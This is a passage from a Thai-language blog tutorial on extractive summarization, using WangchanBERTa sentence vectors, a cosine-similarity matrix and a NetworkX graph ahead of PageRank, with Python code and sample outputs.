https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-14-at-20.44.22.png 1562w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; Library &#xE2B;&#xE25;&#xE31;&#xE01; &#xE41;&#xE25;&#xE30; Import Library &#xE15;&#xE48;&#xE32;&#xE07; &#xE46;</li></ul><pre><code>pip install nltk</code></pre><pre><code>pip install python-docx</code></pre><pre><code>pip install transformers sentencepiece</code></pre><pre><code>pip install rouge</code></pre><pre><code>pip install pythainlp</code></pre><pre><code>from nltk.cluster.util import cosine_distance
import numpy as np
import networkx as nx
import pandas as pd

import docx
from docx.enum.text import WD_COLOR_INDEX

import rouge

from transformers import AutoTokenizer, AutoModel

from pythainlp.tokenize import word_tokenize</code></pre><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Vector &#xE02;&#xE2D;&#xE07;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04;&#xE08;&#xE32;&#xE01; <strong>Wangchanberta </strong>&#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19; Pre-Train Model &#xE17;&#xE32;&#xE07;&#xE20;&#xE32;&#xE29;&#xE32; (<strong>Language Model</strong>) &#xE41;&#xE1A;&#xE1A; <strong>Transformer </strong>(<strong>RoBERTa</strong>) &#xE17;&#xE35;&#xE48;&#xE16;&#xE39;&#xE01; Train &#xE14;&#xE49;&#xE27;&#xE22;&#xE0A;&#xE38;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE20;&#xE32;&#xE29;&#xE32;&#xE44;&#xE17;&#xE22;&#xE08;&#xE32;&#xE01;&#xE41;&#xE2B;&#xE25;&#xE48;&#xE07;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE02;&#xE48;&#xE32;&#xE27; &#xE27;&#xE34;&#xE01;&#xE34;&#xE1E;&#xE35;&#xE40;&#xE14;&#xE35;&#xE22; &#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE43;&#xE19;&#xE42;&#xE0B;&#xE40;&#xE0A;&#xE35;&#xE22;&#xE25;&#xE21;&#xE35;&#xE40;&#xE14;&#xE35;&#xE22; &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49;&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23; Crawl &#xE40;&#xE27;&#xE47;&#xE1A;&#xE44;&#xE0B;&#xE15;&#xE4C; &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE02;&#xE19;&#xE32;&#xE14;&#xE16;&#xE36;&#xE07; 78.5 GB</p><p>&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE19;&#xE33;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE40;&#xE02;&#xE49;&#xE32; Wangchanberta<strong> </strong>&#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19; Transformer Model &#xE41;&#xE1A;&#xE1A; RoBERTa &#xE08;&#xE30;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE41;&#xE1A;&#xE48;&#xE07;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04;&#xE40;&#xE1B;&#xE47;&#xE19;<strong>&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE33;&#xE22;&#xE48;&#xE2D;&#xE22;</strong>&#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE27;&#xE48;&#xE32; <strong>Subword</strong> &#xE14;&#xE49;&#xE27;&#xE22;&#xE44;&#xE25;&#xE1A;&#xE23;&#xE32;&#xE23;&#xE35;&#xE48; <a href="https://github.com/google/sentencepiece?ref=blog.pjjop.org">SentencePiece</a> &#xE14;&#xE31;&#xE07;&#xE19;&#xE31;&#xE49;&#xE19;&#xE40;&#xE23;&#xE32;&#xE08;&#xE36;&#xE07;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; Library Transformers &#xA0;&#xE41;&#xE25;&#xE30; Sentencepiece &#xE43;&#xE19;&#xE15;&#xE2D;&#xE19;&#xE15;&#xE49;&#xE19;</p><ul><li>Load <strong>Wangchanberta </strong>Model</li></ul><pre><code>model_name = &quot;airesearch/wangchanberta-base-att-spm-uncased&quot;
model = AutoModel.from_pretrained(model_name)</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-14-at-21.15.40.png" class="kg-image" alt loading="lazy" width="2000" height="217" srcset="https://blog.pjjop.org/content/images/size/w600/2022/10/Screenshot-2565-10-14-at-21.15.40.png 600w, https://blog.pjjop.org/content/images/size/w1000/2022/10/Screenshot-2565-10-14-at-21.15.40.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2022/10/Screenshot-2565-10-14-at-21.15.40.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2022/10/Screenshot-2565-10-14-at-21.15.40.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>Load &#xE15;&#xE31;&#xE27;&#xE15;&#xE31;&#xE14;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE33;&#xE22;&#xE48;&#xE2D;&#xE22;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Wangchanberta<strong> </strong>Model</li></ul><pre><code>tokenizer = AutoTokenizer.from_pretrained(model_name)</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-14-at-21.17.17.png" class="kg-image" alt loading="lazy" width="2000" height="135" srcset="https://blog.pjjop.org/content/images/size/w600/2022/10/Screenshot-2565-10-14-at-21.17.17.png 600w, https://blog.pjjop.org/content/images/size/w1000/2022/10/Screenshot-2565-10-14-at-21.17.17.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2022/10/Screenshot-2565-10-14-at-21.17.17.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2022/10/Screenshot-2565-10-14-at-21.17.17.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE14;&#xE36;&#xE07; Subword &#xE02;&#xE2D;&#xE07; Wangchanberta<strong> </strong>Model &#xE21;&#xE32;&#xE14;&#xE39;</li></ul><pre><code>subword = list(tokenizer.vocab.keys())
df = pd.DataFrame(subword, columns =[&apos;subword&apos;])
df.shape</code></pre><p>(25004, 1)</p><pre><code>df.head(10)</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-14-at-21.20.38.png" class="kg-image" alt loading="lazy" width="1698" height="784" srcset="https://blog.pjjop.org/content/images/size/w600/2022/10/Screenshot-2565-10-14-at-21.20.38.png 600w, https://blog.pjjop.org/content/images/size/w1000/2022/10/Screenshot-2565-10-14-at-21.20.38.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2022/10/Screenshot-2565-10-14-at-21.20.38.png 1600w, https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-14-at-21.20.38.png 1698w" sizes="(min-width: 720px) 720px"></figure><p>&#xE1E;&#xE1A;&#xE27;&#xE48;&#xE32;&#xE21;&#xE35; Subword &#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14; 25,004 Subword</p><ul><li>&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE15;&#xE31;&#xE14;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE33;&#xE22;&#xE48;&#xE2D;&#xE22;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Wangchanberta<strong> </strong>Model &#xE14;&#xE49;&#xE27;&#xE22; Sentencepiece</li></ul><pre><code>tokenizer.tokenize(&apos;&#xE2A;&#xE27;&#xE31;&#xE2A;&#xE14;&#xE35;&#xE04;&#xE23;&#xE31;&#xE1A;&#xE0A;&#xE32;&#xE27;&#xE42;&#xE25;&#xE01;&apos;)</code></pre><p>[&apos;&#x2581;&apos;, &apos;&#xE2A;&#xE27;&#xE31;&#xE2A;&#xE14;&#xE35;&#xE04;&#xE23;&#xE31;&#xE1A;&apos;, &apos;&#xE0A;&#xE32;&#xE27;&#xE42;&#xE25;&#xE01;&apos;]</p><p>&#xE08;&#xE30;&#xE44;&#xE14;&#xE49; Subword &#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14; 3 Subword &#xE23;&#xE27;&#xE21; Space &#xE17;&#xE35;&#xE48;&#xE41;&#xE17;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE2B;&#xE21;&#xE32;&#xE22; (<strong>_</strong>)</p><ul><li>&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE40;&#xE02;&#xE49;&#xE32;&#xE23;&#xE2B;&#xE31;&#xE2A;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE33;&#xE22;&#xE48;&#xE2D;&#xE22; &#xE42;&#xE14;&#xE22;&#xE43;&#xE2B;&#xE49; Return Tensors &#xE41;&#xE1A;&#xE1A; <strong><a href="https://pytorch.org/?ref=blog.pjjop.org">Pytorch</a></strong> (Wangchanberta<strong> </strong>&#xE08;&#xE30;&#xE23;&#xE31;&#xE1A; <strong>Input ID</strong> &#xE41;&#xE25;&#xE30; <strong>Attention Mask</strong> &#xE41;&#xE1A;&#xE1A; Pytorch &#xE40;&#xE02;&#xE49;&#xE32; Model) &#xE0B;&#xE36;&#xE48;&#xE07;&#xE08;&#xE30;&#xE1E;&#xE1A;&#xE27;&#xE48;&#xE32; Sentencepiece &#xE44;&#xE14;&#xE49;&#xE43;&#xE2A;&#xE48; Code <strong>5</strong> (Start Tag) &#xE41;&#xE25;&#xE30; Code <strong>6</strong> (Stop Tag) &#xE14;&#xE49;&#xE32;&#xE19;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE41;&#xE25;&#xE30;&#xE17;&#xE49;&#xE32;&#xE22;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE49;&#xE32;&#xE23;&#xE2B;&#xE31;&#xE2A;</li></ul><pre><code>inputs = tokenizer(&apos;&#xE2A;&#xE27;&#xE31;&#xE2A;&#xE14;&#xE35;&#xE04;&#xE23;&#xE31;&#xE1A;&#xE0A;&#xE32;&#xE27;&#xE42;&#xE25;&#xE01;&apos;, return_tensors=&apos;pt&apos;)

inputs</code></pre><p>{&apos;input_ids&apos;: tensor([[ &#xA0; &#xA0;5, &#xA0; &#xA0;10, &#xA0;5533, 15873, &#xA0; &#xA0; 6]]), &apos;attention_mask&apos;: tensor([[1, 1, 1, 1, 1]])}</p><pre><code>inputs[&apos;input_ids&apos;]</code></pre><p>tensor([[ &#xA0; &#xA0;5, &#xA0; &#xA0;10, &#xA0;5533, 15873, &#xA0; &#xA0; 6]])</p><ul><li>Decode &#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE01;&#xE25;&#xE31;&#xE1A; &#xE08;&#xE30;&#xE1E;&#xE1A; Start Tag <strong>&lt;s&gt; </strong>&#xE41;&#xE25;&#xE30; Stop Tag <strong>&lt;/s&gt;</strong> &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07; Space &#xE17;&#xE35;&#xE48; Sentencepiece &#xE44;&#xE14;&#xE49;&#xE43;&#xE2A;&#xE48;&#xE21;&#xE32;&#xE43;&#xE2B;&#xE49;&#xE14;&#xE49;&#xE27;&#xE22;</li></ul><pre><code>tokenizer.decode(inputs[&apos;input_ids&apos;][0])</code></pre><p>&apos;&lt;s&gt; &#xE2A;&#xE27;&#xE31;&#xE2A;&#xE14;&#xE35;&#xE04;&#xE23;&#xE31;&#xE1A;&#xE0A;&#xE32;&#xE27;&#xE42;&#xE25;&#xE01;&lt;/s&gt;&apos;</p><ul><li>&#xE19;&#xE33;&#xE40;&#xE02;&#xE49;&#xE32;&#xE43;&#xE19; Wangchanberta<strong> </strong>Model</li></ul><pre><code>outputs = model(**inputs)

outputs[1].shape</code></pre><p>torch.Size([1, 768])</p><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE19;&#xE33; <strong>Sentence Vector</strong> &#xE02;&#xE19;&#xE32;&#xE14; 768 Dimension &#xE08;&#xE32;&#xE01; Output &#xE02;&#xE2D;&#xE07; Wangchanberta<strong> </strong>Model &#xE44;&#xE1B;&#xE04;&#xE33;&#xE19;&#xE27;&#xE13; Sentence Similarity</p><pre><code>outputs[1]</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-16-at-10.51.21.png" class="kg-image" alt loading="lazy" width="2000" height="801" srcset="https://blog.pjjop.org/content/images/size/w600/2022/10/Screenshot-2565-10-16-at-10.51.21.png 600w, https://blog.pjjop.org/content/images/size/w1000/2022/10/Screenshot-2565-10-16-at-10.51.21.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2022/10/Screenshot-2565-10-16-at-10.51.21.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2022/10/Screenshot-2565-10-16-at-10.51.21.png 2400w" sizes="(min-width: 720px) 720px"></figure><h2 id="%E0%B8%84%E0%B8%B3%E0%B8%99%E0%B8%A7%E0%B8%93-similarity-matrix-%E0%B8%88%E0%B8%B2%E0%B8%81-sentence-vector">&#xE04;&#xE33;&#xE19;&#xE27;&#xE13; Similarity Matrix &#xE08;&#xE32;&#xE01; Sentence Vector</h2><p>Similarity Matrix &#xE04;&#xE37;&#xE2D; Matrix &#xE17;&#xE35;&#xE48;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE04;&#xE48;&#xE32; Sentence Similarity &#xE02;&#xE2D;&#xE07;&#xE04;&#xE39;&#xE48;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE04;&#xE39;&#xE48;&#xE43;&#xE19;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE19;&#xE33;&#xE21;&#xE32; Cross &#xE01;&#xE31;&#xE19; &#xE16;&#xE49;&#xE32;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04; 2 &#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE31;&#xE19; Sentence Similarity &#xE08;&#xE30;&#xE21;&#xE35;&#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE21;&#xE32;&#xE01; </p><p>Sentence Similarity &#xE40;&#xE01;&#xE34;&#xE14;&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23;&#xE19;&#xE33; 1 &#xE25;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22; <a href="https://blog.pjjop.org/taw-yaang/">Cosine Distance</a> &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE19;&#xE33; Sentence Vector &#xE21;&#xE32;&#xE04;&#xE33;&#xE19;&#xE27;&#xE13;&#xE04;&#xE48;&#xE32; Cosine Distance &#xE04;&#xE23;&#xE31;&#xE1A;</p><p>&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE44;&#xE14;&#xE49; Vector &#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE31;&#xE27;&#xE41;&#xE17;&#xE19;&#xE17;&#xE35;&#xE48;&#xE14;&#xE35;&#xE02;&#xE2D;&#xE07;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04;&#xE20;&#xE32;&#xE29;&#xE32;&#xE44;&#xE17;&#xE22; &#xE40;&#xE23;&#xE32;&#xE08;&#xE36;&#xE07;&#xE43;&#xE0A;&#xE49; Wangchanberta<strong> </strong>Model (&#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19; State of the art &#xE17;&#xE32;&#xE07;&#xE14;&#xE49;&#xE32;&#xE19; Thai Language Model &#xE43;&#xE19;&#xE1B;&#xE31;&#xE08;&#xE08;&#xE38;&#xE1A;&#xE31;&#xE19;) &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Sentence Vector</p><p>&#xE1C;&#xE39;&#xE49;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE19;&#xE33;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE20;&#xE32;&#xE29;&#xE32;&#xE44;&#xE17;&#xE22;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE14;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04;&#xE44;&#xE27;&#xE49;&#xE41;&#xE25;&#xE49;&#xE27;&#xE02;&#xE2D;&#xE07;&#xE15;&#xE31;&#xE27;&#xE40;&#xE2D;&#xE07; &#xE21;&#xE32;&#xE43;&#xE0A;&#xE49;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE44;&#xE2E;&#xE44;&#xE25;&#xE17;&#xE4C;&#xE43;&#xE08;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D; (&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE41;&#xE1A;&#xE48;&#xE07;&#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23;&#xE02;&#xE36;&#xE49;&#xE19;&#xE1A;&#xE23;&#xE23;&#xE17;&#xE31;&#xE14;&#xE43;&#xE2B;&#xE21;&#xE48;) &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE08;&#xE30; Download &#xE21;&#xE32;&#xE08;&#xE32;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49; <a href="https://drive.google.com/drive/folders/1emLxKNvBfi6AO2A_aocGWgf--6RTmlcm?usp=sharing&amp;ref=blog.pjjop.org">Text Summarization Dataset</a> &#xE01;&#xE47;&#xE44;&#xE14;&#xE49;</p><ul><li>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D; Dowload &#xE21;&#xE32;&#xE41;&#xE25;&#xE49;&#xE27; &#xE43;&#xE2B;&#xE49;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE41;&#xE25;&#xE49;&#xE27;&#xE41;&#xE1A;&#xE48;&#xE07;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04;&#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19; splitlines() &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE25;&#xE07;&#xE43;&#xE19; List </li></ul><pre><code>file_name = &apos;test_project.txt&apos;

with open(file_name, &apos;r&apos;) as file:
    corpus = file.read().splitlines()
    
print(corpus)</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-16-at-12.12.50.png" class="kg-image" alt loading="lazy" width="1978" height="66" srcset="https://blog.pjjop.org/content/images/size/w600/2022/10/Screenshot-2565-10-16-at-12.12.50.png 600w, https://blog.pjjop.org/content/images/size/w1000/2022/10/Screenshot-2565-10-16-at-12.12.50.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2022/10/Screenshot-2565-10-16-at-12.12.50.png 1600w, https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-16-at-12.12.50.png 1978w" sizes="(min-width: 720px) 720px"></figure><ul><li>Remove Space Character &#xE17;&#xE35;&#xE48;&#xE15;&#xE2D;&#xE19;&#xE15;&#xE49;&#xE19;&#xE41;&#xE25;&#xE30;&#xE17;&#xE49;&#xE32;&#xE22;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04;</li></ul><pre><code>sentences = [s.strip() for s in corpus]</code></pre><ul><li>&#xE2B;&#xE32;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;</li></ul><pre><code>sentence_size = len(sentences)
sentence_size</code></pre><p>74</p><ul><li>&#xE41;&#xE1A;&#xE48;&#xE07;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE33;&#xE22;&#xE48;&#xE2D;&#xE22;&#xE41;&#xE25;&#xE30;&#xE40;&#xE02;&#xE49;&#xE32;&#xE23;&#xE2B;&#xE31;&#xE2A;</li></ul><pre><code>sentences_tokens = [tokenizer(s, return_tensors=&quot;pt&quot;) for s in sentences]</code></pre><ul><li>&#xE19;&#xE33;&#xE40;&#xE02;&#xE49;&#xE32; Wangchanberta<strong> </strong>Model</li></ul><pre><code>sentences_encode = [model(**token) for token in sentences_tokens]

len(sentences_encode)</code></pre><p>74</p><pre><code>sentences_encode[0][1].shape</code></pre><p>torch.Size([1, 768])</p><p>&#xE42;&#xE14;&#xE22;&#xE1C;&#xE25;&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23; Predict &#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19; Sentence Vector</p><ul><li>&#xE14;&#xE36;&#xE07;&#xE2D;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01; Pytorch Tensors &#xE41;&#xE25;&#xE49;&#xE27;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19; Array &#xE14;&#xE49;&#xE27;&#xE22;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19; detach().numpy() &#xE41;&#xE25;&#xE30;&#xE25;&#xE14;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19; Dimension &#xE02;&#xE2D;&#xE07;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE14;&#xE49;&#xE27;&#xE22;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19; np.squeeze()</li></ul><pre><code>sentences_vec = [np.squeeze(vec[1].detach().numpy()) for vec in sentences_encode]

sentences_vec[0].shape</code></pre><p>(768,)</p><ul><li>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Similarity Matrix &#xE08;&#xE32;&#xE01;&#xE04;&#xE48;&#xE32; Sentence Similarity (1 - Cosine Distance)</li></ul><pre><code>def build_similarity_matrix(sentences):
    similarity_matrix = np.zeros((len(sentences), len(sentences)))
 
    for idx1 in range(len(sentences)):
        for idx2 in range(len(sentences)):
            if idx1 == idx2: #ignore if both are same sentences
                continue 
            similarity_matrix[idx1][idx2] = sentence_similarity(sentences[idx1], sentences[idx2])

    return similarity_matrix</code></pre><pre><code>def sentence_similarity(sent1, sent2):
    return 1 - cosine_distance(sent1, sent2)</code></pre><pre><code>sentence_similarity_martix = build_similarity_matrix(sentences_vec)

sentence_similarity_martix.shape</code></pre><p>(74, 74)</p><pre><code>sentence_similarity_martix</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-16-at-13.33.32.png" class="kg-image" alt loading="lazy" width="2000" height="506" srcset="https://blog.pjjop.org/content/images/size/w600/2022/10/Screenshot-2565-10-16-at-13.33.32.png 600w, https://blog.pjjop.org/content/images/size/w1000/2022/10/Screenshot-2565-10-16-at-13.33.32.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2022/10/Screenshot-2565-10-16-at-13.33.32.png 1600w, https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-16-at-13.33.32.png 2016w" sizes="(min-width: 720px) 720px"></figure><h2 id="%E0%B8%AA%E0%B8%A3%E0%B9%89%E0%B8%B2%E0%B8%87%E0%B8%81%E0%B8%A3%E0%B8%B2%E0%B8%9F%E0%B8%88%E0%B8%B2%E0%B8%81-similarity-matrix">&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE01;&#xE23;&#xE32;&#xE1F;&#xE08;&#xE32;&#xE01; Similarity Matrix</h2><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; Library NetworkX &#xE41;&#xE1B;&#xE25;&#xE07;&#xE04;&#xE48;&#xE32; Sentence Similarity &#xE43;&#xE19; Matrix &#xE41;&#xE16;&#xE27;&#xE17;&#xE35;&#xE48; i &#xE41;&#xE25;&#xE30;&#xE04;&#xE2D;&#xE25;&#xE31;&#xE21;&#xE19;&#xE4C;&#xE17;&#xE35;&#xE48; j &#xE44;&#xE1B;&#xE40;&#xE1B;&#xE47;&#xE19; Weight &#xE17;&#xE35;&#xE48;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE1A;&#xE19;&#xE40;&#xE2A;&#xE49;&#xE19;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21; (Edge) &#xE02;&#xE2D;&#xE07;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04; i &#xE41;&#xE25;&#xE30;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04; j &#xE01;&#xE48;&#xE2D;&#xE19;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE19;&#xE33;&#xE44;&#xE1B;&#xE04;&#xE33;&#xE19;&#xE27;&#xE13;&#xE04;&#xE48;&#xE32; PageRank</p><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE01;&#xE23;&#xE32;&#xE1F;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE07;&#xE48;&#xE32;&#xE22;&#xE14;&#xE49;&#xE27;&#xE22;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19; <strong>add_edge()</strong> &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19; Node 4 Node (A, B, C &#xE41;&#xE25;&#xE30; D) &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE40;&#xE2A;&#xE49;&#xE19;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21; 4 &#xE40;&#xE2A;&#xE49;&#xE19; &#xE42;&#xE14;&#xE22;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; Weight &#xE43;&#xE2B;&#xE49;&#xE41;&#xE01;&#xE48;&#xE40;&#xE2A;&#xE49;&#xE19;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE40;&#xE2A;&#xE49;&#xE19; &#xE41;&#xE25;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19; <strong>shortest_path()</strong> &#xE2B;&#xE32;&#xE40;&#xE2A;&#xE49;&#xE19;&#xE17;&#xE32;&#xE07;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE31;&#xE49;&#xE19;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE38;&#xE14;&#xE44;&#xE14;&#xE49;&#xE14;&#xE31;&#xE07;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><pre><code>G = nx.Graph()
G.add_edge(&apos;A&apos;, &apos;B&apos;, weight=4)
G.add_edge(&apos;B&apos;, &apos;D&apos;, weight=2)
G.add_edge(&apos;A&apos;, &apos;C&apos;, weight=3)
G.add_edge(&apos;C&apos;, &apos;D&apos;, weight=4)</code></pre><pre><code>pos = nx.spring_layout(G, seed=4321)
nx.draw(G,
        pos=pos,
        node_size=500,
        node_color=&apos;#f86e00&apos;,
        edge_color=&apos;blue&apos;,
